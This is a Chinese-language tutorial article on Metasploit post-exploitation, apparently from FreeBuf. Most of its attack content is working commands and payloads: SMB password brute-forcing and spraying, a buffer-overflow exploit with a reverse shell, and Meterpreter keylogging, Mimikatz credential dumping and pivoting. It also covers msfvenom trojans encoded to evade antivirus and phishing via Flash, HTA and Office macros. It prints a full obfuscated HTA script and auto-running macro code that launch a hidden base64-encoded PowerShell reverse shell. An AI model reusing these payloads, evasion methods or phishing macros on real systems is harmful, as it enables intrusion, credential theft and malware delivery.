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FreeBuf+小程序

Metasploit后渗透利用
2023-03-30 09:10:58
所属地 浙江省

Metasploit 是一款开源的渗透测试工具,可以帮助网络安全专家和黑客发现和利用计算机系统当中的漏洞。在 Metasploit 中包含大量漏洞利用模块,可用来测试目标系统的安全性并快速创建和执行攻击。目前 MSF 框架可用于多种目的,包括渗透测试、漏洞研究、安全评估、恶意软件分析、网络防御等。同时还拥有强大的自动化功能,能够自动化执行一系列攻击,提供了图形化和命令行两种操作界面。

0x01 下载安装

APT安装

默认情况 Kali Linux 中已经安装了 Metasploit,如果不慎卸载可使用 APT 包进行安装

apt install metasploit-framework

源码安装

在其他 Linux 下可使用源码安装

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall

安装数据库并配置自动启动

sudo apt install postgresql
sudo systemctl start postgresql
sudo systemctl enable postgresql

初始化数据库

sudo msfdb init

成功启动 MSF

msfconsole

截屏2023-03-13 上午12.15.08

0x02 基础使用

用户界面

启动数据库可保存相关信息

sudo systemctl start postgresql
sudo systemctl enable postgresql

截屏2023-03-12 23.18.18

升级 MSF 版本

sudo apt update;sudo apt install metasploit-framework

静默启动 MSF 并查看帮助

sudo msfconsole -q

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基本语法

MSF中共包含几千个模块,它们被划分成不同类型,包括encodersexploitspayloads

show -h

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查找端口扫描相关模块,找到后选择对应数字使用即可

search portscan

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使用新模块后可回退至上一个模块

use auxiliary/scanner/portscan/syn
previous

退出当前模块

back

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当然在大部分模块中需设置参数

show options

使用setunsetsetgunsetg进行设置模块,只是全局和局部的区别

set rhosts 192.168.0.1
set ports 80-89

使用runexploit运行模块

run

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在启用数据库情况下相关服务信息已存储

services
#使用 -S 筛选服务名称,使用 -p 筛选端口号
service -p 80

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如果在启动数据库的情况下还可以使用 Nmap 扫描

db_nmap 192.168.0.1 -p 80 -sV

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列出已经发现的主机

hosts

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不同的渗透项目中可存储于不同的工作组当中

workspace #列出工作组
-a #添加工作组
-d #删除工作组

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0x03 常见模块

辅助模块

辅助模块主要用于信息收集、协议枚举、端口扫描、模糊测试、网络嗅探等。列出所有辅助模块

show auxiliary

搜索 SMB 服务名称相关的辅助模块

search type:auxiliary name:smb

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选择 SMB 版本扫描模块并查看相关信息

use auxiliary/scanner/smb/smb_version
info

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如果数据库开启可搜索已开启445端口的主机

services -p 445 --rhosts

截屏2023-03-13 00.38.52

扫描 SMB 服务并爆破密码

use auxiliary/scanner/smb/smb_login
set SMBUser administrator
set SMBPass mac
set rhosts 172.16.117.174
set threads 10
run

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如果数据库开启可查看捕获到的凭证

creds

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基于已知密码配合用户名字典进行喷射

set rhosts 172.16.117.138-174
set USER_FILE /user.txt
set SMBPass mac
run

截屏2023-03-13 00.49.01

扫描 RDP 服务

use auxiliary/scanner/rdp/rdp_scanner
set rhosts 172.16.117.174
run

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利用模块

漏洞利用模块共包含1700多个EXP,搜索 syncbreeze 已知漏洞

search syncbreeze

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使用利用模块并查看相关信息

use exploit/windows/http/syncbreeze_bof
info exploit/windows/http/syncbreeze_bof

截屏2023-03-13 00.56.38

查看当前 EXP 支持的 payload

show payloads

设置目标 payload 和对应版本

set payload windows/shell_reverse_tcp
show targets
set target 2

截屏2023-03-13 01.38.02

设置反弹shell地址

set lhost 172.16.117.1
set rhost 172.16.117.205

检测主机是否存在漏洞

check

截屏2023-03-13 01.39.42

执行漏洞利用模块

exploit

截屏2023-03-13 01.43.02

Payload模块

除了基础的 payload 以外,MSF 中还包含多种高级 payload,它们主要分为两种:

  • Non-Staged:不分阶段 Payload,与 EXP 一起被完整发送到目标系统

  • Staged:分阶段 Payload,通常被分为两部分

    • 第一部分较小,负责建立反弹连接,传输较大的第二部分 payload 并执行

    • 为了避免被杀软发现,第一部分不包含明显特征的恶意代码,利用其加载第二阶段代码到内存中并执行

根据 payload 的名称可以区分 payload,比如同样是反弹shell,分阶段的是shell/reverse_tcp,不分阶段就是shell_reverse_tcp

Meterpreter

Meterpreter 使用可动态扩展的多功能 Payload,提供更多的功能和函数,比如传文件、键盘记录、音/视频的开启等。同时还支持多系统、多架构、多语言、多协议

search type:payload name:meterpreter
set payload windows/meterpreter/reverse_http

截屏2023-03-13 01.57.44
其他 payload

vncinject/reverse_http #反弹VNC图形shell
php/reverse_php #PHP反弹shell,用于WEB攻击

查询基础信息,输入help可查看帮助信息

sysinfo #查看系统信息
getuid #查看用户信息

截屏2023-03-13 02.00.41

在 Meterpreter 支持简单的 Linux 命令,即使 Windows 也适用

pwd
ls 
cd
execute
ps
kill

截屏2023-03-13 02.02.16

自带文件上传、下载功能,但 Windows 下路径必须指定双斜杠

upload /usr/share/windows-resources/binaries/nc.exe c:\\Users\\offsec
download c:\\windows\\system32\\calc.exe /tmp/calc.exe

获取屏幕截图

screenshot

进程迁移至需要键盘记录的用户

ps
migrate 2796

获取键盘记录

keyscan_start
keyscan_stop

截屏2023-03-13 03.02.17

Meterpreter 会话依赖对应进程,如果进程结束会话也将随之结束。拿到会话第一时间需要迁移进程

ps
migrate 2678

Mimikatz 扩展需要 SYSTEM 权限

load kiwi
getsystem
creds_all #获取密码哈希

以 MSF 作为跳板穿透内网,添加内网路由

route add 10.10.10.1
route print

通过跳板访问内网域控DC

use exploit/windows/smb/psexec
set SMBDomain corp
set SMBUser admin
set SMBPass admin
set rhosts 10.10.10.110
set lport 4444
set payload windows/meterpreter/bind_tcp
exploit

除了添加内网路由外,还可以使用 autoroute 模块,利用已建立的 Meterpreter 穿透内网

use multi/manage/autoroute
sessions -l
set session 4
exploit

结合路由和 socks4a 模块建立 socks 代理,允许外部工具直接访问内网

use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
exploit -j

配置 proxychains 挂代理访问内网

sudo proxychains rdesktop 192.168.1.110

当然也可以通过 Meterpreter 会话实现端口转发

portfwd -h
portfwd add -l 3389 -p 3389 -r 192.168.1.110

在本地连接远程桌面

rdesktop 127.0.0.1

木马生成

可执行的 payload 能以不同文件格式导出,比如 ASP、VBScript、Jar、War、DLL、EXE 等,比如生成 PE 类型的反弹shell

msfvenom -p windows/shell_reverse_tcp lhost=172.16.117.1 lport=443 -f exe -o shell_reverse.exe

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编码 shellcode 用于免杀AV

msfvenom -p windows/shell_reverse_tcp lhost=172.16.117.1 lport=443 -f exe -e x86/shikata_ga_nai -i 4 -x /usr/share/windows-resources/binaries/plink.exe -o embedded.exe

截屏2023-03-13 02.09.51

当然也可以在 MSF 界面中生成木马,效果和第一种一样

use payload/windows/shell_reverse_tcp
set lhost 172.16.117.1
set lport 443
generate -f exe -e x86/shikata_ga_nai -i 9 -x plink.exe -o embedded.exe

启动 MSF 侦听

use multi/handler
set payload windows/shell_reverse_tcp
set lhost 172.16.117.1
set lport 443
exploit -j

截屏2023-03-13 02.11.28

执行木马成功上线

sessions -i

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执行免杀木马成功上线
截屏2023-03-13 02.21.10

查看后台监听

jobs
jobs -i 2 #显示 job 2 信息

结束后台监听

kill 2 #结束 job 2

截屏2023-03-13 02.22.13

使用 transport 转换监听

transport list
transport add -t reverse_https -l 192.168.0.1 -p 5555
transport next

截屏2023-03-13 02.45.05

0x04 网络钓鱼

生成客户端可执行格式的文件,比如 HTA、Office 宏等,查看支持的所有格式

msfvenom -l formats

截屏2023-03-13 02.24.41

Flash钓鱼

使用客户端浏览器攻击向量,其中 Flash 主要针对老旧版本客户端

search flash

截屏2023-03-13 02.29.09

查看模块的高级选项

use exploit/multi/browser/adobe_flash_hacking_team_uaf
show advanced

截屏2023-03-13 02.29.35

编码第一、二阶段 shellcode

set EnableStageEncoding true
set StageEncoder x86/shikata_ga_nai
exploit -j

截屏2023-03-13 02.31.40

目标访问点击 Flash 更新成功上线

HTA钓鱼

如果把 HTML 扩展名修改为.hta,IE 浏览器会将其作为 HTML 应用程序解析执行。如果在浏览器之外,可使用 mshta.exe 来执行该程序。HTA 兼容 ActiveX 等遗留技术,支持 JavaScript、VBScript,可执行任意程序,但该攻击方式只对 IE、Edge 有效。首先在 MSF 中生成用于攻击的 HTA 文件

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.10.148 lport=4444 -f hta-psh -o mac.hta

在本地 MSF 中开启监听

msf > use exploit/multi/handler
msf > set payload windows/x64/shell_reverse_tcp
msf > set lhost 10.10.10.148
msf > set lport 4444
msf > exploit -j

在 Windows 主机中打开 HTA
截屏2022-12-07 01.21.26

成功上线 MSF
截屏2022-12-07 01.22.32

当然也可以使用 mshta 打开程序

mstha http://172.16.117.1/mac.hta

截屏2023-03-19 17.54.55

查看 HTA 程序源码可知:HTA 脚本语言为 VBScript,通过 Windows 脚本引擎的 Run 方法执行 PowerShell

<script language="VBScript">
  window.moveTo -4000, -4000
  Set g9sC2u7hP5K = CreateObject("Wscript.Shell")
  Set yPI4TszOgKUl = CreateObject("Scripting.FileSystemObject")
  For each path in Split(g9sC2u7hP5K.ExpandEnvironmentStrings("%PSModulePath%"),";")
    If yPI4TszOgKUl.FileExists(path + "\..\powershell.exe") Then
      g9sC2u7hP5K.Run "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoACgAJwAnAEgANABzAEkAQQBQADUANABqADIATQBDAEEANwBWAFcAYgBXAC8AYQBTAEIARAArAFgAcQBuAC8AdwBhAHEAUQBzAEgAVwBFAGwAeQBSAE4AYQBhAFIASQB0AHcAWQA3AG0ARQBLAEMAWQB6AEEATgAnACcAKwAnACcASABLAHEATQB2AGQAaQBiAEwARgA1AGkAcgB3AEcAbgAxAC8AOQArAHMAMwA3AEoAaQA1AEwAMABlAGkAZAAxAEoAWQBSADMAZAAyAFoAMgA5AHAAbABuAFoAbgBhAFYAaABDADQAbgBMAEoAVABJADYARQBUADYALwB2ADYAZABWAEkAeQBSAEUAegBsAHIAUwBhADcAYwB1AEkAWgBiAGsAeQBxAEIAcgB6AHoAdQBWAGUASgB2AHEAWABRAG0AeQBYAE8AMAAnACcAKwAnACcAMgBYAFQAWgAyAGkASABoADQAdgBTADAAawAwAFEAUgBEAG4AawArAHIANQA5AGoAagB1AEkAWQByADUAZQBVADQARgBoAFcAcABMACsAbABhAFkAQQBqAHsAMQB9AEgAQwA1AHYATQBFAHUAbAA3ADUATABsAFcALwAxAGMAOABxAFcARABpADMARQAwAG8ANwBqAEIAbABnADYAUQBLAEUAbgA5AGcAYgBNAGQAWQBSAGIAZABXAHQARABDAFoAZQByAHsAMQB9AC8AMQBWAFYAZQBZAEgAcgBVAFYAZAB1ADAAcwBjAEcAcwB0AFYASwA0ADAANQBYAHQAYwA5AFMAcQB1AEsAOQBFAE0AUgBCADQANwBUAEQAWgBhAHIAUQArAEoARwBMAEcAWQByAFgAcAArAFMAOABPAGkAdwBQAGcAbABqAFoANABVAHYAdwBOAG8AVwBEAHoARQBQAG0AQgBkAFgANABTADYAUAB0ADQAawB3AFQANgBJAHcAdQA1AFMAdwBrAHMAdgBJAFYAewAxAH0AZwBjAFIAYwB4AEYAbgBoAHsAMQB9AGgATwBLADcAVwBwAEwAbQB3AFAAMQA4AHMALwBwAFQAbgB4AGUARgBYACcAJwArACcAJwBTAGMAagBKAEcAdABlAE4AawBPAE8ASQBiAFMAdwBjAGIAWQBtAEwANAAzAHIAUABDAFQAMgBLAHIALwBCAHEAQQBWAG8AVwBqADAAagBvAEwAeABRAEYAeABMAGIAcwBGAHMAdQAnACcAKwAnACcAVgBNAEsARwAwAEoAdgAwAFgATQAnACcAKwAnACcALwBJAEYAMwBwAFgAUQAvAGEAcQBTAC8ARgBRAEoAcABFAFkAOABVAG0AbwBRADAASgB7ADEAfQBYAEgARABJAHYAbwBUAGgAWAByAEwANwBpAFoAOABZAEIAQgBVAGIATwBBAHcARAB2AGgAOABCAHYAVgBUAEkAbgBuAGsAeQBiAFIANgA5AHcANQAzAEcAaABIAFAATgBzAEIANABQAEgAOABvAGoARgBKAE4ATQArAGsANQBvADEAYQBRAGkASABPADUAeABGAGcAbABhAFYAYwBaAFIAZwBaAHsAMQB9AEcAJwAnACsAJwAnAEEAdAAxAFMASgAwAEwAVwBSADEASAA3AFYAWABLAHYAVQBCAFUAMgAzADEAWQBhAFYAdQBjADIASQB0ADMAagBVAHsAMQB9AHgAYgArAEMAcgBlAEUAeQBOAHQAVQA3AHUASQBWAEMAWABFADMARABaADAAMQBjAFUAdQAyAHkAcQArAEYAQgBLADgAbwB6AGkAQwBwAGwAMgBJAFgANABKADUAYwBMAFQAYQB3ADEAOABVAFUAKwB3ADQAWABLAEEAdABtAHYARgBEAFQAMQBvAFEALwA2AEsAbwBKAG8AUgA2AE8AawBBAHQAaABqAGMARQByAGkATABqAHkAMwBKAGsAOABjAEgATABWAEMASQBkADQARABlAEQAbABjADYAQgBxAFoAUQBVADUAZwBrAHYAcABJAGkALwBTADgAbgBRAHgAQgA2AEYAcQBoAHoAcAB4AFgASgBOAEcAQwBTAFEAcAA1AEwAJwAnACsAJwAnAGkARgBIAFkAcQA5AG0AbwBUAEMAbQBCAFIAYgBLAE8ARQBzACsANgB3ACsAdQBqAHQATQBLAEMAZQB1AEUALwBQAFMAMwBFAEoANQBCAG0AWgB4AGEASQBlAEYATQBZADgAUwBGACcAJwArACcAJwA0AEkASwBBAEkAeQB0AEQAWABhAEoAUQB3AFUAZQBOAGEAbABIAFAASwB5AG0ARgB2AEgATAB3ADYAdQB2AG8AdABGAHgASwBJAFgAVQBBAFUAdABiAGkAQQBhAHMAQwBCAFEAcwBMAHEAZwBTAGcAWgA4ADUATAAnACcAKwAnACcAWgBTADYAaABiAG0AeAAzAGwAQwA4AEIAcQBHAHMAWgAnACcAKwAnACcAdQBqAFUAOABhAEYAQwBGAEIAbQBTAGsAYwB2AHgAcwBWAGQAOQAxAGMAOAB5AEQAMwBMAFMAQwAxAGgASwBQAEoANQA0AEMAYgBHADIASwBPAE0AMQB5AFMAWQBSAGgALwBvAGoASQBBAFoAcQAvAFQAOAB7ADEAfQBYAGwAWQBlAGMASwBZAFQANABTAEkAeQBjAHAAbAB7ADEAfQBjAHoAWABsAGcAdgArAFYAMgB6AEYAcgBuAHcAaQBPAEYAaABCAGwAZwBFACcAJwArACcAJwBRAGMAdwBOAEEAagB0AGwAYQBkAEcASgA4AGMANQAxAFYARwAvAHQARABRAFMAUAB7ADEAfQBqAHEATQB0ADIAQwBJAGEAbQBYADUAbQAyAGEAawAzAHMAbQBUAEgAMAArAHQAUQB5AHUASABXAHQAawBjAEUAawBDAEEAegBTAE0AbgB5AFkAcAB4AFAATgBIAC8ASABtADUAcwB0ADQAMwBPAHQAYgAzAFIANgBLAHUAdgB0AGcAaABZAHoAWQAwAEgAcABxAGEAcgAnACcAKwAnACcAWgBVADUAUABiAEkASgA3AHUAdgBUAGkAJwAnACsAJwAnAGEAZwBSAHoAbwBEADgAMgBaAHYASQBLADgAegA4AEEAMAB7ADEAfQBEAGwAQwBOAHcARgBXAGIAcwA2AGEAdgBOAHYAWABPAHcARgBJAEQAagBUAFMAUgBiADUAawA5ADgANwBnADEATQB4AHAAdABxAHAASgA3AHkANwBCAFEAYgAvAHAAZwAvADgARwB1AGQAbgB6AGMAKwA3AG8AewAxAH0AbwA0AHQAaABIAHcAWAA2AHAAYQBlADMARAB2ACcAJwArACcAJwBWAE0ALwAxAGIAbwB6ADIANwBQAEIAMQAwAHQAbQA3AHQAaQBiAGwANwBIAEcAdABIAGcASABFADIALwBOAHUAMABBAFQAKwAyAE4ATwB0AFgAMABtAFcAbAB2AEQAUAArAFAAbgBXAC8AYQBnADgAYQB4AEgAcQBpAHcAYgBwAEQAOQBZAEcATQAzAFkATABSAGEALwBXADMAbwAzAFEAOQBwACsAMwA0AEkANwBwAHIAMgByAEUALwB3AHoAUABCAHgANgBpAE0AVABJAGUAcwA2AHAATgBaAHkAMQAwAEcAcQA3AG4AWgA4ADkAbwBWAHEAKwBnAFQAVwBiAHMAZABHAHUARABlAFgAbQA2AEcAWABYAHYAYwBhAG4AKwAwAGgAdwBSAHUARwBUAEEAMABoAG4AVQBKAE8AcgBwAEcAegA2AHoAWgBhAHQAbQBxAEsATwA4AEUAUABXAGEATQBHAHMAbwB5AHcAVQAvAHkAcgA1AGoASwA2ADYAMwA1AHUAKwBLAEIAcgBFAE4AZQA3ADAAOABCAG4AcwBFAGwAZwA3ADYATwA1AHYASgB0AHQAdgBsADQARgBZAHMAOQAzAHIAeABBAEMAdgA2AHgAbABjAEwATwBjAG0AZwBqAGwATQBUAE0AaABaAGcAYgBCAC8AYQA5ADIAeQA3AHMAWQB1AHUAcABkADEANgBiAHEANQBIAEwAUQBuAHMAVwBlADEAdABkAE4ARgBVADMASQB4AFYAWABIAHYATgA3ADcASwBnAE8AYgBhADkAaABXAEoANwBsAGUAdgA5AEUAVwAzADIARQBqADEAUQA3ADcAdQAwAGsASwB2AC8ATQBUADcATwA0AGEAdwBiAFoAJwAnACsAJwAnAGgAQQAvADQAVwArAFAAaQBGADcARAA2AHEAaQBVADkANgB2AFMAbgBjAFkANwBuAGQAYwBhAGMALwBCAGIALwBXAGQASABuAG8AWgBYADYAMQBUAFQAWgBDAHMAMwBhAEgAZABUADgAZAA5AHkAWgA2ADAAbgBUAEgANwB2AHIAegBuAGIAZwAvADgAYQBKAEcAeQB6AHcANwArAHcAQQBzAG4AVQA5AEkAeQBJADgATwBGAHgAVQArAFYARQBVAFoAewAxAH0ALwArAHUAawB0ADUAewAxAH0AewAxAH0AbgB2AEMAMQBMAGUAYQAxAE4AQwBKADQAcwBDAGgAdwBHAEIAbwBQADIAVQBkADAAVgBtAGsARgB5ADEAbAB4AEkAagBRAGsARwBYAHgASwBMACcAJwArACcAJwBuAEYAVQBZAGcAcABkAEgATABvADkAVwBVAEMASQBrAHEAWgBLADkAcABaADMAbgB1AGcAbAArAFkAZABUAGoAVABjAGkAWgBGADUAOQBkAHEAWABJAGoAMABJAEsAbwArAE4AcgBsAHcANgBQAFoAMgBCAGwANQBEACcAJwArACcAJwBVAFcAYwBMAFYAQgB6AGoAMABlAFYAQgByADcAbwArAGEAVABXAGgAUgB6AFgAMwB6AE8ATQB2AGUAWAA3ADkAYwBoADIAMQBTAE8AYgBkAFcARQAxADAAdQBnACsAewAxAH0AJwAnACsAJwAnAEIAUABzADMAcwBnADAAbQB5AGsAbQBUADUAdAAwAE0ARwBqAHgAawBPAGgAewAxAH0AVQBuAG8ATAAyAEYASAA1ACcAJwArACcAJwB4ADkAQwA1AFUAUQBLAG4ATgBlAG4AdwBTAEsASwBtAFAAMABLAFkAYgBGADEAUgA0AG8AOABRAHgAQwB3AEsANABGADEANQArAEwAcAA0AHcAZwBDADEAZwA0AHcASABkAFEAOQAwAFMAagB7ADEAfQAvAHAAdwBxAE4AeQBjADMAMgB4AC8ASwAzACsASwBPAGgAdgBBAG4ALwBlAHYALwBIAGwAYwArADgAbgB1AEwAMwBHACcAJwArACcAJwBxAFcAYwBzAEIAZQByAEgAOAB7ADEAfQBPAEYASgBoAC8AcAA5AEUARQB3AGQAdwBrAEgAUQBnAG4ANQBCAGMAewAxAH0ANgBDAGUAUQBPAEoASQBtAG0AZQBSAEYAbgBFAEIAegBKAGkAVgBRAHoAeAByAHIAOQBNACsATQBFAEYAdgBCAFMAegByAHYAVQBQAFcAQgBEAEwAbwBVADQATQBBAEEAQQB7ADAAfQAnACcAKQAtAGYAJwAnAD0AJwAnACwAJwAnAGYAJwAnACkAKQApACkALABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQApACkAJwA7ACQAcwAuAFUAcwBlAFMAaABlAGwAbABFAHgAZQBjAHUAdABlAD0AJABmAGEAbABzAGUAOwAkAHMALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAE8AdQB0AHAAdQB0AD0AJAB0AHIAdQBlADsAJABzAC4AVwBpAG4AZABvAHcAUwB0AHkAbABlAD0AJwBIAGkAZABkAGUAbgAnADsAJABzAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3AD0AJAB0AHIAdQBlADsAJABwAD0AWwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJABzACkAOwA=",0
      Exit For
    End If
  Next
  window.close()
</script>

针对 PowerShell 中的参数解释如下:

  • -nop(-NoProfile):指示 PowerShell 不要加载用户配置文件(默认配置影响代码执行,因此禁用)

  • -w hidden(-WindowStyle hidden):禁止在用户桌面打开新窗口

  • -e (-EncodedCommand):Base64编码的 Powershell 脚本

而其中的乱码经 CyberChef 解码后如下,其执行的仍旧是 Powershell 脚本
截屏2022-12-07 22.20.23

Office宏钓鱼

利用客户端日常使用的受信软件存在的漏洞,攻击将更加隐蔽且成功概率更高。客户端常用软件通常存在 Office,主要用于处理日常的办公需求,在 Office 存在可利用的宏,通过宏代码可执行 VBA 代码,VBA 是全功能的脚本语言,支持 ActiveX、Windows 脚本。尝试在 Windows 中创建 Word 文档,在视图中添加宏MyMacro
截屏2022-12-07 23.22.16

在其中添加宏代码如下:

Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub

Sub MyMacro()
CreateObject("Wscript.Shell").Run "cmd"
End Sub

保存为 doc 文件
截屏2022-12-07 23.23.43

再次打开允许宏代码执行会弹出 CMD 命令行
截屏2022-12-07 23.24.59

在 MSF 中生成反弹shell代码

msfvenom -p windows/shell_reverse_tcp lhost=10.211.55.5 lport=4444 -f hta-psh -o evil.hta

截屏2022-12-07 23.37.47

由于 VBA 字符串存在长度限制,最大长度为255个字符,但字符串变量的长度没有限制,因此可先将 payload 分割成多段较短的字符串后再进行拼接执行,通过以下 Python 脚本进行分割

str = "powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZQB3AC....."
n = 50
for i in range(0, len(str), n):
    print("Str = Str + " + '"' + str[i:i+n] + '"')

生成后的代码如下:

Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub

Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4Ad"
Str = Str + "ABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewA"
Str = Str + "kAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnA"
Str = Str + "H0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGk"
Str = Str + "AcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8Ad"
Str = Str + "wBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcAB"
Str = Str + "vAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9A"
Str = Str + "E4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQ"
Str = Str + "AaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAU"
Str = Str + "wB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQB"
Str = Str + "tAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9A"
Str = Str + "CcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACA"
Str = Str + "AJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAc"
Str = Str + "gBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB"
Str = Str + "5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkA"
Str = Str + "GUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGU"
Str = Str + "AbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAe"
Str = Str + "gBpAHAAUwB0AHIAZQBhAG0AKAAoAE4AZQB3AC0ATwBiAGoAZQB"
Str = Str + "jAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5A"
Str = Str + "FMAdAByAGUAYQBtACgALABbAFMAeQBzAHQAZQBtAC4AQwBvAG4"
Str = Str + "AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAd"
Str = Str + "AByAGkAbgBnACgAKAAoACcAJwBIADQAcwBJAEEARAArAHsAMgB"
Str = Str + "9AGsARwBNAEMAQQA3AFYAVwBiAFcALwBpAE8AQgBEACsAdgB0A"
Str = Str + "EwAKwBoADIAaQBGAGwARQBTAGkAdgBKAFYAdAB0ADUAVgBXAHU"
Str = Str + "AbwBTAFgARQBrAG8AbwBrAEIASQBLAEwARABxAFoAeABBAGsAd"
Str = Str + "QBUAGsAdwB7ADEAfQBwADcAewAyAH0AcwA3AFgAKwAvAEMAUwB"
Str = Str + "TAGwAVgB7ADEAfQB1ADcAMwBrAGwAcgBDAFIASABiAE0AKwBQA"
Str = Str + "HgATQA4AC8ATQAyAEkAdABEAFIAeABBAFcAUwB1AGgAcwBLAC8"
Str = Str + "AMwA4AC8ARQBsAEsAUgB3ADkAeABGAEUAaABLAEQAbgAvAE4AU"
Str = Str + "wA3AG4AbABnADYAVwByAHgANwAzAGMAQQB7ADIAfQAyAFQAdgB"
Str = Str + "rAHYASwBWACcAJwArACcAJwBGAHUAdAA2AGkAeABBAEoASgB4A"
Str = Str + "HsAMQB9AFgAdABaAGkAewAyAH0AbgBFAG8ARAB2AFAAQwBGAFI"
Str = Str + "AWgBhAEYATwBGAGcAVABnAG0ATwBGAEYAWAA2AFMAeABvAHQAT"
Str = Str + "QBNAGMAJwAnACsAJwAnAG4ATgAvAE4ANwA3AEEAagBwAHAANQB"
Str = Str + "UADcAcwAzAEIARgAyACcAJwArACcAJwBSAHsAMgB9AFIAVgBHA"
Str = Str + "HgAYgBRADgANABDAFMAeQB7ADEAfQBhADYAQwBaADcASABlAGE"
Str = Str + "AZwB4AEsAMgBDAHQAYQBKAEUASwBQAEsAUABIADcASQA2AFAAU"
Str = Str + "wBuAFAAQwBvADIASABHAE4ARgBJAGsAYQAnACcAKwAnACcAMQB"
Str = Str + "0AEoASABCAFEAYwBDAG0AVgBWAGUAbQBYAG0AaAB4ADQAdQAxA"
Str = Str + "DEAaABSAFQAYQBKAHcAMQBuAEUAUABGAEUAWQBrAGYAQwAwAFU"
Str = Str + "AaABpAEcARQBmAEoAdwBGADYAdwA5AFkAaABPAEwAQgBYAE0Aa"
Str = Str + "gBHAGUANQB5AHYAQQAzAEgASQB1AGIAaAAvAGwASwBKAGwAWQB"
Str = Str + "PAE0ASQBzAE4AbgBqAHsAMgB9AE4ASABjADEAMgBPAG8AMABqA"
Str = Str + "E8AUwA5AFAARQAvAG4AUQAyACsAMABPAFoAcABvAGMAUAA0AGw"
Str = Str + "AQwBRAEEAQgBlAE0AVQBHAEQATwBWAGgAYgBtAGoAOABUAEIAV"
Str = Str + "QBhAEcARgBRAHAAZgBpAEEAZgBaAG0AbwBHAFUASgBUAGsASgA"
Str = Str + "vAHAAcQBvAGcAOQBzAGkAVwBXAE0AbQBGAE0AYQBWADUANgBiA"
Str = Str + "CsAWQBVAGIAcAA0AG4AVQBIADMAVQBTAFgAbAB1AFIASgBJADk"
Str = Str + "AUQBSAFgAOAB4AEQAUQAxADkAYwAwAG0AUgB0AFQAZgBGAEMAV"
